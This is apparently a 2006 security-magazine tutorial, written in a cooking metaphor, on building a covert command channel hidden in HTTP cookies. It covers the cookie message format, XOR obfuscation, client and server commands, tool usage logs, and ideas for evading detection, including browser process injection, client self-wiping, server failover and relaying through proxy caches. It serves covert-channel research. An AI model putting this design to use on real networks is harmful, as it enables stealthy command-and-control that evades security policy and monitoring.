Techniques

How to cook a covert channel

Simon Castro and Gray World Team 

Difficulty

Before starting to cook your covert channel, you first have to think about the receipt (recette)**: decide how your covert channel will look like, what it will be used for (antipasti or dessert ?) and finally when you'll have your dinner. Today's menu focuses on HTTP cookies so let's review the receipt and start to cook.**

We all know about HTTP and cookies. If you ever bought something on the Internet (or someone did it for you, you probably used cookies to maintain a logical session with the remote server. So, how would it be possible to use cookies as a stealth communication channel?

The cookie theory

Let's review the [RFC_2109] document which describes various interesting points regarding the logical sessions creation.

It should be understood that the session may be terminated by the server (we'll thereafter use *server* to speak about the HTTP server and *client* to speak about the HTTP client) or by the client and that sessions should not last too long (1).

Notice that a client *should* send cookie(s) with every request to the server and that the server may send a cookie to a client even if the client didn't ask for it (2 and 3).

Also notice that the cookie value is *opaque* to the client and thus is also *opaque* for an host willing to monitor the sessions (4).

Finally, we suppose that it is not something suspicious to ask caching services not to cache the cookies sent by client and server if the cookie is intended for use by a single user. (5)

Note that reading (5) the other way means we may have an opportunity to use these caching services as a second-level relay to store and forward data to multiple clients with or without server. We already know this is possible for any HTTP entity but maybe will it be possible for the cookies, too.

Thinking about the receipt

A covert channel is a communication channel that is not designed and/nor intended to ex-

What you will learn...

- how to prepare a stealth control communication channel.

What you should know...

- the HTTP protocol,
- you should have basic knowledge about python programming language.

Listing 1. *Watching usual cookies*

```
Our cookie is: 582c76b3d761f5741774f9786603e2438853b8b0
and without padding: 582c76b3d761f5741774f97866

Other are (one per line):
a%3A0%3A%6A%7E
RD4hwMCoACkAAHlIYdM
B=cgqeo1l23r2a8&b=3&s=qi
67.161.52.178.1150515143441505
RMID=3ea03bc3443e21f0; RMFL=022FTyfuU1026D
s_vi=[CS]v1|443E1E3D00002C59-A290C75000006B0[CE]
210647688.476418719.1144933410.1144933410.1144933410.1
id=ip.ip.ip.ip-1734349632.2977633:lv=116733416527:ss=114213316627
ID=ad309d77f7453199:TM=1140474596:LM=1141314596:S=OcpTXoHx5MTCUQFl
37692917347247624 bb=41K"KAKt_4KKQtotrKKA1|K"KAKt_4UURtotrKKA1| adv=\
    MC1=V=3&GUID=2b5039af05c385919ecb1181f92bcaa; s_cc=true;\
    s_sq=%5B%5BB%5D%5D;\
    MUID=A259C327D12B8C528ADD1787F3ED94&TUID=1
pdomid=11; TestIfCookieP=ok; TestIfCookie=ok;\
    ASPSESSIONIDSCQSQDTB=KMHHNNICFLFPELFKJFMQPMPB; sasarea=91;\
    vs=252=1225845; pbw=%24b%3D11%3B%24c%1242%3B%14o%1D3;\
    pid=8867356354182511254
MUID=0F1BAEAF00C2765C9052128A0702B37A;MC1=V=3&GUID=\
    2b5039af03dce61903b181f92beaaa; FlightId=; FlightEligible=False{ \
    expires=Mon, 25-Jan-2010 05:jxYf0 GMT; FlightGroupId=213; FlightStatus=
```

ist and that can be used to transfer information in a manner that violates the existing security policy. [...] Various parameters exist to characterize covert channels: Noise, Bandwidth/ Capacity, Synchronization and Aggregation [...], Latency and Stealthiness [CC]

The receipt of the day will focus on preparing, step by step, a *new* control communication channel (Refer to [CC] for the difference between control and data communication channels) which will be as stealth as possible.

As we cook a stealth communication channel, we consider that bandwidth/capacity and latency parameters are not key factors.

We cook a communication channel over the HTTP protocol. It means that the HTTP server needs an HTTP client contact before being able to send any data. As we focus on a control communication channel, we also have to restrict the amount of data and the emission frequency parameters the HTTP client uses to send and receive data from the HTTP server.

We won't discuss the active warden problem as it would involve him to alter and keep track of any cookie he detects (not a so good idea to change only parts of the cookie...) and finally we will suppose that everything but our cookies are seen as standard to a potential detection system (Network layers factors and HTTP protocol behaviour).

Our beta receipt

The information container model the HTTP client and the HTTP server will use is as simple as:

```
Checksum: default size 2 bytes
Command : default size 1 byte
  => is a request or a response
Info    : request or response
Padding : default size to 20 bytes
```

Checksum is a standard computed checksum over the Command and Info parameters. Command indicates if the cookie contains a request or a response. Padding is something optional which allow to change the cookie size.

Let's look at what kind of cookie we may have with a basic client command that will tell to the server: I am up, here is my local IP address, my starting time and my contact delay:

```
01: I am up (4+4+2 bytes):
  IP address, start time, contact
\x7E\x58   : Checksum
\x01   : Command 01
\x01\x02\x03\x04 : IP - 1.2.3.4
\x07\x5B\xCD\x15 : start time
```

RFC 2109

- (1) [...] designers paradigm for sessions created by the exchange of cookies has these key attributes: 1. Each session has a beginning and an end, 2. Each session is relatively short-lived, 3. Either the user agent or the origin server may terminate a session,
- (2) To initiate a session, the origin server returns an extra response header to the client, Set-Cookie. [...] A user agent returns a Cookie request header [...] to the origin server if it chooses to continue a session. The origin server may ignore it or use it to determine the current state of the session. It may send back to the client a Set-Cookie response header with the same or different information, or it may send no Set-Cookie header at all,
- (3) Servers may return a Set-Cookie response headers with any response. User agents should send Cookie request headers, subject to other rules detailed below, with every request. An origin server may include multiple Set-Cookie headers in a response,
- (4) `Set-Cookie Syntax: [...] cookie = NAME "=" VALUE *(";" cookie-av) [...] NAME=VALUE Required`. The name of the state information (cookie) is NAME, and its value is VALUE. [...] The VALUE is opaque to the user agent and may be anything the origin server chooses to send, possibly in a server-selected printable ASCII encoding. *Opaque* implies that the content is of interest and relevance only to the origin server. The content may, in fact, be readable by anyone that examines the Set-Cookie header,
- (5) An origin server must be cognizant of the effect of caching of both the returned resource and the Set-Cookie header. [...] If the cookie is intended for use by a single user, the Set-cookie header should not be cached. A Set-cookie header that is intended to be shared by multiple users may be cached.

```
\x00\x0A : contact period
 \x42[*7] : 7 bytes of padding
```

will give a cookie: `'7e580101020304075bcd15000a42424242424242'` .

Now that we have a cookie, it would be a good idea not to send it in cleartext. If we can have enough *random* bytes we can use to XOR the cookie, we may get something a little bit less suspicious. So let's suppose we have a static key and x *random* bytes known by client and server, we then can use a digest function to get enough *pseudo-random* bytes to XOR our cookie before sending it to the server. Thus, instead of `'7e580101020304075bcd15000a42424242424242'`, we will have something like `'582c76b3d761f5741774f9786603e2438853b8b0'`.

We now may use cookies to send and receive data and we have a way to alter them so that they look *obscure* and *random*. Let's focus on some command types it would be interesting to implement.

Client commands:

```
01: I am up (4+4+2 bytes):
  IP address, start time, contact
```

Server commands:

```
01: Change contact period (2 bytes)
  set a new 'contact period'
02 : New rbytes (Max is Size-3)
  add new 'len' + 'random bytes'
03 : Cookie size / Padding (3 bytes)
  'size' 'enable'
```

With these commands, we basically can manage our control communication channel so that it stays online as long as we need but we may face another problem: how do we know if a client or a server got the command we sent? Let's use a command/acknowledge mechanism such as the one described thereafter.

Client commands:

```
01: I am up (4+4+2 bytes):
  IP address, start time, contact
FE : Same but next contact is
  changed to match the server 01
  command.
FD : Same.
FC : Same but the new cookie
  size is used  along with the
  padding activation
```

Server commands:

```
01: Change contact period (2 bytes)
  set a new 'contact period'
02 : New rbytes (Max is Size-3)
  add new 'len' + 'random bytes'
03 : Cookie size / Padding (3 bytes)
  'size' 'enable'
FE : not used, no ack for an UP
  client message
```

Main advantage not using an acknowledgement for the client UP message is that the client will be able to send and resend the same cookie without 1. loosing random

Listing 2. *Standard session 1*

```
HTTP GET on A.XXX
=> Reply with a document location to www.A.XXX with :
Set-Cookie: PREF=ID=af4xxab993229877f:TM=1134401:LM=1122401:S=7Ib_Bgu9cf5L;\
    expires=Sun, 23-Jan-2038 19:14:07 GMT; path=/; domain=.A.YYY
HTTP GET on www.A.XXX
=> Reply with :
Set-Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe\

Some HTTP GET on www.A.XXX having:
Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe

Now we close the browser, wait a few seconds and do it again :
HTTP GET on A.XXX having :
Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe
=> Reply with a document location to www.A.XXX without Set-Cookie

HTTP GET on www.A.XXX having:
Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe
etc...
```

Listing 3. *Standard session 2*

```
HTTP GET on B.XXX
=> Reply with a document location to www.B.XXX with
    Set-Cookie: ASPSESSIONIDATRSCS=HAEBGHTVCSXZFJLLLDIAJJMN; path=/

HTTP GET on www.B.XXX without cookie
```

Listing 4. *Running the client part*

```
$ ./cook_cl.py -h
cook_cl.py - v0.1
Usage:
  ./cook_cl.py [-h|-V]
  ./cook_cl.py [-d server] [-p port] [-u url] [-s sec]
                    [-a proxy_ip:proxy_port:user:pass] [-m mimic] [-v]
Arguments:
  -h    help
  -V    version
  -v    verbose mode

  -d    remote server ip or fqdn (default '127.0.0.1')
  -p    remote server HTTP port  (default '80')
  -u    remote server HTTP url   (default '/cgi-bin/cook_cgi')
  -s    sending delay (seconds)  (default '10')
  -a    HTTP proxy configuration (ip:port:user:pass)
  -m    Mimic browser ('msie' or 'firefox') (default: 'msie')
```

bytes and 2. as any standard web client is doing.

Telling about the receipt to friends

We arbitrary chose to *hex-ify* our cookie but you may choose another algorithm to encode your cookie. Let's start our favorite MS13 browser and watch about our cookies (Listing 1):

- name is usually '- _ 1-9a-zA-Z' and 1 < x < 24 bytes long,
- domain is 50% fqdn and 50% .fqdn,
- path is 90% '/' (is it ?),
- expiration is usually between today's year+1 and 2016 or 2038 (?),
- content is sometimes raw ASCII but often Key=Value (Value = Raw ASCII).

Cookies are a little bit altered but who knows, you may recognize something.

Now, our next step is to study what's our friends behaviour when they face a cookie so that we know when and how we can send and receive data. Hereunder are described sessions to famous *masked* websites.

We conclude that our cooked client can send cookies to the server even if the server didn't send a Set-Cookie (until 2038?) because the server may have send this cookie 32 years ago?

We conclude that we have few (only) practical (not only theoretically written in the RFC) solutions for the server to send a cookie so that the client doesn't have to reply with that cookie:

- we Set-Cookie with a domain different from the one in HTTP URI=> [Standard session 1],
- we Set-Cookie without giving the domain => [Standard session 2].

It seems that our beta receipt looks quiet interesting, let's start cooking.

Receipt

Now that we know approximately what we'll cook, we need to choose

Listing 5. *Connecting to the server*

```
$ ./cook_cgi
How to cook a covert channel - cook_cgi.py - v0.1

Bryan says: Stocked size update to 24 with padding to 0 for client 2. (1)

Bryan says: Welcome in the kitchen, we have 2 client(s) (Wed Apr [...]
  o Remove clients quiet for more than 3600 seconds.
  o Don't double stock idem command: 1
  o Fake cookie for standard clients: None
  o Burn the kitchen

Clients list:

  #2 - Public IP 10.1.1.8 (last conn. time: Wed Apr 26 19:51:27 2006)
    => Local IP 10.1.1.8 (started [...] 19:51:27 2006 / contact: 180 secs)
    => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available) /\
          RBYTES_POSI: 16
    => RBYTES: 'Soon her eye fel [...]  small c...ookie'
    => Cookie size is 24 bytes and padding activation is set to 1
    => Last cookie: 'PREF=db0452e6aeeb5db56c8e2fb09316bb5095b27c9a28586498'\
          / Lost sync: 0
    What you have ?
      New contact period , New rbytes , Change cookie size,\
      Disable / Enable padding, Remove commands
      Stocked commands:
        o '47aa0100054242424242424242424242424242424242424242' (2)
        o 'e8ab0300180042424242424242424242424242424242424242' (3)

  #1 - Public IP 10.1.1.7 (last conn. time: Wed Apr 26 19:50:17 2006)
    => Local IP 10.1.1.7 (started [...] 19:50:17 2006 / contact: 60 secs)
    => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available)\
          / RBYTES_POSI: 16
    => RBYTES: 'Soon her eye fel [...]  small c...ookie'
    => Cookie size is 24 bytes and padding activation is set to 1
    => Last cookie:  'PREF=2d6852e6aeeb52b56c8fe9b01b16bb5095b27c9a28586498'\
          / Lost sync: 0
      What you have ?
        New contact period , New rbytes , Change cookie size,\
        Disable / Enable padding, Remove commands
        Stocked commands:
$ _
```

Listing 6. *Sending cooked commands to the client*

```
(1) 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\
               db0452e6aeeb5db56c8e2fb09316bb5095b27c9a28586498
(2) 19:54:27 - Got 24 bytes cookie (4/16):\
               'G\xaa\x01\x00\x05BBBBBBBBBBBBBBBBBBBB'
(3) 19:54:27 - Command Update contact time
(4) 19:54:27 - Updating contact period to 5 secs
(5) 19:54:27 - Got 24 bytes cookie (6/16):\
               '\xe8\xab\x03\x00\x18\x00BBBBBBBBBBBBBBBBBB'
(6) 19:54:27 - Command Update Size
(7) 19:54:27 - Updating cookie size to 24 (padding activation: 0)
(8) 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (7/7):\
               22984fcc75fc01b0af217350eb
(9) 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/7):\
               14a4087e1e5cf3d5724b522fe6
(10) 19:54:32 - Sending cookie to ip:80/cgi-bin/cook_cgi (9/7):\
               943d58cb1fd5864a98a1a47067
(11) 19:54:38 - Sending cookie to ip:80/cgi-bin/cook_cgi (9/7):\
               943d58cb1fd5864a98a1a47067
```

Lisitng 7. *Client accepted commands*

```
$ ./cook_cgi
How to cook a covert channel - cook_cgi.py - v0.1

Bryan says: Welcome in the kitchen, we have 2 client(s) (Wed Apr [...]
  o Remove clients quiet for more than 3600 seconds.
  o Don't double stock idem command: 1
  o Fake cookie for standard clients: None
  o Burn the kitchen

Clients list:

  #2 - Public IP 10.1.1.8 (last conn. time: Wed Apr 26 19:54:43 2006)
    => Local IP 10.1.1.8 (started [...] 19:51:27 2006 / contact: 5 secs)
    => RBYTES_POS: 9 (116:2320/125:2500 bytes:rbytes available)\
         / RBYTES_POSI: 7
    => RBYTES: 'Soon her eye fel [...]  small c...ookie'
    => Cookie size is 24 bytes and padding activation is set to 0
    => Last cookie: 'PREF=943d58cb1fd5864a98a1a47067' / Lost sync: 0
    What you have ?
      New contact period , New rbytes , Change cookie size,\
      Disable / Enable padding, Remove commands
    Stocked commands:

  #1 - Public IP 10.1.1.7 (last conn. time: Wed Apr 26 19:50:17 2006)
    => Local IP 10.1.1.7 (started [...] 19:50:17 2006 / contact: 60 secs)
    => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available)\
         / RBYTES_POSI: 16
    => RBYTES: 'Soon her eye fel [...]  small c...ookie'
    => Cookie size is 24 bytes and padding activation is set to 1
    => Last cookie: 'PREF=2d6852e6aeeb52b56c8fe9b01b16bb5095b27c9a28586498'\
         / Lost sync: 0
    What you have ?
      New contact period , New rbytes , Change cookie size,\
      Disable / Enable padding, Remove commands
    Stocked commands:

$ _
```

Listing 8. *Hazard game for the client #1*

```
# ./cook_cl.py -d ip -s 10 -v
(1) : 20:02:59 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\
              96a152e6aeeb52b5726263b02d16bb5095b27c9a28586498
      20:03:09 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\
              96a152e6aeeb52b5726263b02d16bb5095b27c9a28586498
      20:03:09 - Got 24 bytes (4/16): '5\x80\x02\x00\x10priatnovoapetitaBBB'
      20:03:09 - Command Update Rbytes
(2) : 20:03:09 - Updating rbytes with 'priatnovoapetita'
      20:03:09 - Sending cookie to ip:80/cgi-bin/cook_cgi (6/16):\
              4df16f06ec172a8b8a1bbca7ed2d154944584b2a5b2a31f0
      20:03:19 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/16):\
              7f8db0cc75fc0eb0b1cd3f50e4e3fce0ec63cbaaf742b636
```

what kind of Bryan (who always is in the kitchen as we all know) will help us to cook some fast food for our (probable) future new friends.

We chose to use a PYTHON Bryan so that you and your *friends* can taste that meal no matter if you have a Win32 or a **Nix* kitchen. However, if you read this receipt, you probably want to taste another meal that would be cooked in a `Win32 C/C++` kitchen and that no one has heard before because it's always better not to tell anyone when you prepare a surprise.

So, our meal is built upon 2 ingredients: the client part which is a standalone python application and the server part which is a CGI script you have to upload on a webserver.

The client

The client connects to the web server and sends a GET request along with a cookie embedding the *I am up* command. If the server response includes a cookie the client decodes the cookie and sends back the related acknowledgement. If the server doesn't reply to a client cookie, the client sleeps for x seconds.

As the server may answer with multiple cookies in a single response, the client parses all the cookies commands before sending the related acknowledgement (so that server and client keep synchronization for random bytes).

The client sends its HTTP request with a MS13 or Firefox behavior: both browsers act the same way at the TCP level for our CGI (TCP HandShake, HTTP GET, HTTP REPLY, TCP FIN HandShake) but do not send the same HTTP headers when they request the remote HTTP server.

The server

The CGI server provides two services:

- it manages client requests: cookie decoding, keeping information about clients and admin commands to send...,
- it implements a basic web interface allowing the admin to display clients information and issue commands.

When a client sends a GET request, the CGI checks the cookie and tries to decode it, it updates the client information (stores them in a file) and finally sends the response to the client along with the commands the administrator prepared.

When an administrator accesses the web interface, he may display clients information and prepare commands that will be sent to the client during the next contact period.

If the administrator stocks more than 1 command to send to the client,

Lisitng 9. *Hazard game for the client #2*

```
# ./cook_cl.py -d ip -s 10 -v
(1) : 20:07:33 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\
                 d55d52e6aeeb5db5726577b02d16bb5095b27c9a28586498
      20:07:43 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\
                 d55d52e6aeeb5db5726577b02d16bb5095b27c9a28586498
      20:07:43 - Got 24 bytes (4/16): 'Q\x08\x02\x00\ndozvidaniaBBBBBBBBB'
      20:07:43 - Command Update Rbytes
(2) : 20:07:43 - Updating rbytes with 'dozvidania'
      20:07:43 - Sending cookie to ip:80/cgi-bin/cook_cgi (6/16):\
                 0e0d6f06ec17258b8a1ca8a7ed2d154944584b2a5b2a31f0
      20:07:53 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/16):\
                 3c71b0cc75fc01b0b1ca2b50e4e3fce0ec63cbaaf742b636
```

Listing 10. *Hazard game for the server*

```
$ ./cook_cgi
How to cook a covert channel - cook_cgi.py - v0.1
[...]
Clients list:
  #2 - Public IP 10.1.1.8 (last conn. time: Thu Apr 27 20:07:53 2006)
    => Local IP 10.1.1.8 (started [...] 20:07:03 2006 / contact: 10 secs)
    => RBYTES_POS: 8 (127:2540/135:2700 bytes:rbytes available)\
          / RBYTES_POSI: 16
    => RBYTES: 'Soon her eye fel [...] .ookiedozvidania'
[...]
  #1 - Public IP 10.1.1.7 (last conn. time: Thu Apr 27 20:03:19 2006)
  => Local IP 10.1.1.7 (started [...] 20:02:59 2006 / contact: 10 secs)
  => RBYTES_POS: 8 (133:2660/141:2820 bytes:rbytes available)\
        / RBYTES_POSI: 16
  => RBYTES: 'Soon her eye fel [...] priatnovoapetita'
[...]
```

each command will become a cookie and all cookies will be sent in a single HTTP response to the client.

How does it looks like?

We access the admin interface *http://ip:port/cgi-bin/cook_cgi?pass=grayworld* which tells us that no client is currently registered. We run a client on 10.1.1.7 and stop it:

```
./cook_cl.py -d ip -v -s 60
19:50:17 - Sending cookie to \
  ip:80/cgi-bin/cook_cgi (2/16): \
  2d6852e6aeeb52b56c8fe9b01b\
  16bb5095b27c9a28586498
^C
```

We run a second client on 10.1.1.8 and let it running:

```
./cook_cl.py -d ip -v -s 180
19:51:27 - Sending cookie to \
  ip:80/cgi-bin/cook_cgi (2/16): \
  db0452e6aeeb5db56c8e2fb0931\
  6bb5095b27c9a28586498
```

Let's look at our admin interface and stock 2 commands for the 10.1.1.8 client. We'll stock a *New contact period* to 5 seconds (2) and *disable the padding* (1) and (3) (Connecting to the server)

Our client is connecting back 180 seconds later (line 1) and sends the same cookie as previously. The CGI sends the 2 stocked commands (lines 2 -> 7): the client updates its contact period to 5 seconds and then disables the padding. Then it sends back to the server the two acknowledgement with two connections (lines 8 and 9). It sleeps for 5 seconds and then contacts the server with a new *I am up* message (line 10). Then it sleeps again and repeats the *I am up* each 5 seconds (line 11), sending cooked commands to the client.

When we check back the admin interface we notice that the client 10.1.1.8 is updated and that stocked commands are not registered anymore (client accepted commands).

Hazard game

Each client connecting for the first time to the server uses the same random bytes (line 1, [Hazard game for the client #1] and [Hazard game for the client #2]). However, each time you send new random bytes to a client (line 2, [Hazard game for the client #1] and [Hazard game for the client #2] and then lines 1/2 [Hazard game for the server]), they are dedicated to this client only.

As you may notice on [Hazard game for the client #1] and [Hazard game for the client #2], when client use the same random bytes with padding enabled, the padding part of the cookie is exactly the same. That part will of course be different as soon as the client will be updated with new rbytes, but this behaviour may be suspicious. For this reason, padding is disabled by default. To use padding option, the best process would be to disable padding, to set few initialization random bytes for each client and once a client connects for the first time, stock the following commands or send them one after another (multiple HTTP requests/responses):

- update contact period to short delay,
- update cookie size to *high* value,
- add *high* new random bytes,
- update cookie size to standard size and enable padding,
- update contact period to standard waiting time.

You'll thus have client with dedicated random bytes and the initialization cookies will be different as long as two clients don't start with the same local ip address at the same time.

Enjoy your meal

Priatnovo apetita: *http://gray-world.net/projects/cooking_channels/.* For sure, having fast food for lunch isn't so good for health isn't it? Our meal presents various problems: for example, its design implies that every client has to start with the same random bytes (and thus that you *cannot*

use padding during initialization). It also means that if one client is *compromised*, then the whole communication for this client will be cleartext. A solution would be to secure delete RBYTES from time to time for every client.

Another problem lays on the synchronization. If it is lost for any reason, then the client is lost. A solution would be, for example, to use another cookie (or any HTTP request field) to re-synchronize client: the server sends RBYTES_POS+ x to the client and the client has to use it for its next *I am up* message. If the y next messages are wrong, then it means the client is *compromised* and soon will the server be investigated too.

Again, another problem lays on the scheme we use to register the clients. As they're registered with the Public IP address, one single client per public IP address is possible. Few solutions to this problem may be implemented, you just have to find them.

And what about the server? Suppose your server is down, wouldn't it be fun that the client automatically registers on a second one ? The client may thus use RBYTES_POS[x] for x servers. Of course, we also could implement a new command which would be used to ask the client to switch to another server. If you don't want every server to be *compromised* when a client is, just store 4 XOR-ed bytes on the client side and send the *key* when you want to switch.

Another funny idea is that once you've checked that the client can communicate with the outside world you're done isn't it ? So another command would be *please my dear client, wipe yourself but <ironic>take care of your environment</ironic>*.

Thus, the *suggestion du chef* for tomorrow would be to implement a safer RBYTES behaviour and to implement some online behaviour alteration (so that our client becomes more and more useful once we know it is online). Of course, the *chef* would like to suggest you to cook with unusual spices so that we get something hot to taste: browser process injection because people often don't like eating python and because piggybacking over legitimate HTTP transactions would be funky - at least if you want strangers to taste your receipt.

Location of cookies

We chose to embeed our Set-Cookie directive in the HTTP header reply. Note that we also may use a META directive such as:

```
<meta http-equiv="Set-Cookie"
  Content="PREF=42;
  path=/;domain=.gray-world.net">
```

This doesn't mean a lot for the current project, but you'll understand the trick in the following chapter.

Second level caching

As described in *The cookie theory*, it is possible to use caching services as an intermediate level to store and forward data to multiple clients and then stop using remote server. The easiest way to implement this theory (even if more complicated schemes exist - follow the white rabbit) lays on:

- client C1 requests an URI from server S through proxy P,
- server S replies and response is cached in P,
- client C2 requests the same URI from server S through proxy P,
- proxy P replies with the 2. response.

Basically, it means that clients C1 and C2 can communicate without having to reach the remote server for each message. It does mean something in the mouse and cat game we may play versus the detection team: it means that the detection engine has to catch traffic between the clients and their first hop-to-target if it is a caching service.

So, is it possible to implement that point with our cookies? Let's look on the Squid FAQ. The FAQ (*http://www.squid-cache.org/Doc/FAQ/*) states: *Thus, Squid-2 does cache replies with Set-Cookie headers, but it filters out the Set-Cookie header itself for cache hits*. Ok. It means that if we decide to use Set-Cookie header directives, we won't be able to cache our cookies. But does Squid filters out the Meta equivalent (refer to *location of cookies*)? Check yourself.

As discussed in *Enjoy your meal – PRIATNOVO APETITA*, that behaviour may be interesting if you decide to ask the client to switch to another server. You only have to send the command once for the first client and then every client going through the same cache service will be answered to switch to the second server. ●

On the Net

- *http://gray-world.net/rfc/rfc2109.txt* – [RFC_2109]: RFC 2109 - HTTP State Management Mechanism – February 1997
- *http://gray-world.net/projects/papers/cc.txt* – [CC]: Covert channels through the looking glass v1.0 – October 2005
- *http://www.secdev.org/projects/scapy/files/scapy.py* – [SCAPY]: Scapy – Interactive packet manipulation tool – v1.0.4.3
- *http://www.python.org/* – [PYTHON]: Python

About the author

Simon Castro is a member of the Gray World team (*http://gray-world.net*). This international research unit is dedicated to computer and network security with a special interest for NACS bypassing (tunneling, covert channels, network related steganographic methods). Contact with the authors: *simon@gray-world.net* or *team@gray-world.net*